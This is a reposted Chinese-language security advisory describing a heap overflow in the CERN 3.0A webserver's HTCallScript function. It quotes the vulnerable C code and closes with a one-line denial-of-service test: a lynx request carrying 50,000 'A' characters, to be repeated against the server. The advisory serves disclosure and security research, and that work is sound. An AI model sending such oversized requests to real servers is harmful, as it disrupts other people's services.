CERN 3.0A heap溢出漏洞导致拒绝服务攻击
2008-04-09 04:32:29来源:互联网 阅读 ()
发布日期:2000-08-24
更新日期:2000-08-24
受影响系统:
描述:
CERN webserver version 3.0A
- Linux系统
- 常用Unix系统
在CERN/3.0A Webserver中存在一个heap溢出问题,可能耗费大量内存并导致拒绝服务攻击。
问题出在:Daemon/Implememtation/HTScript.c中的
PUBLIC int HTCallScript ARGS1(HTRequest *, req)函数:
....
else { /* Try replacing unknown suffix with .pp */
char *test = (char*)malloc(strlen(HTReqScript) 4);
char *s;
CTRACE(stderr, "Trying...... to find executable by appending pp\n");
strcpy(test, HTReqScript);
s = strrchr(test, '.');
strcat(test, ".pp"); /* Try appending .pp */
CTRACE(stderr, "Trying...... \"%s\"\n", test);
if (-1==access(test, X_OK)) { /* Then try replacing suffix with pp */
if (s) {
*s = 0;
strcat(s, ".pp");
CTRACE(stderr, "Bad luck.... now trying \"%s\"\n", test);
if (-1==access(test, X_OK)) { /* INVALID */
if (!(msg = (char*)malloc(3*strlen(test) 100)))
outofmem(__FILE__, "HTCallScript");
sprintf(msg,
"Bad script request -- none of '%s' and '%s.pp' is executable",
HTReqScript, test );
free(test);
如果HTReqScript中已经包含后缀,程序会用".pp"替代test中的后缀,并且使用一个动态分配
的msg缓冲区来保存错误信息,但是,如果HTReqScript的后缀长度很大的话,msg就不能容纳
这么多的内容,因此会发生溢出,并导致占用大量内存,可能造成拒绝服务攻击。
<*来源: Scrippie (ronald@grafix.nl) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
重复提交这样的链接,可能使cern 3.0A webserver停止响应:
# lynx http://www.victim.com/cgi-bin/A.`perl -e 'print"A" x 50000'`
建议:
暂无
标签:
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有
IDC资讯: 主机资讯 注册资讯 托管资讯 vps资讯 网站建设
网站运营: 建站经验 策划盈利 搜索优化 网站推广 免费资源
网络编程: Asp.Net编程 Asp编程 Php编程 Xml编程 Access Mssql Mysql 其它
服务器技术: Web服务器 Ftp服务器 Mail服务器 Dns服务器 安全防护
软件技巧: 其它软件 Word Excel Powerpoint Ghost Vista QQ空间 QQ FlashGet 迅雷
网页制作: FrontPages Dreamweaver Javascript css photoshop fireworks Flash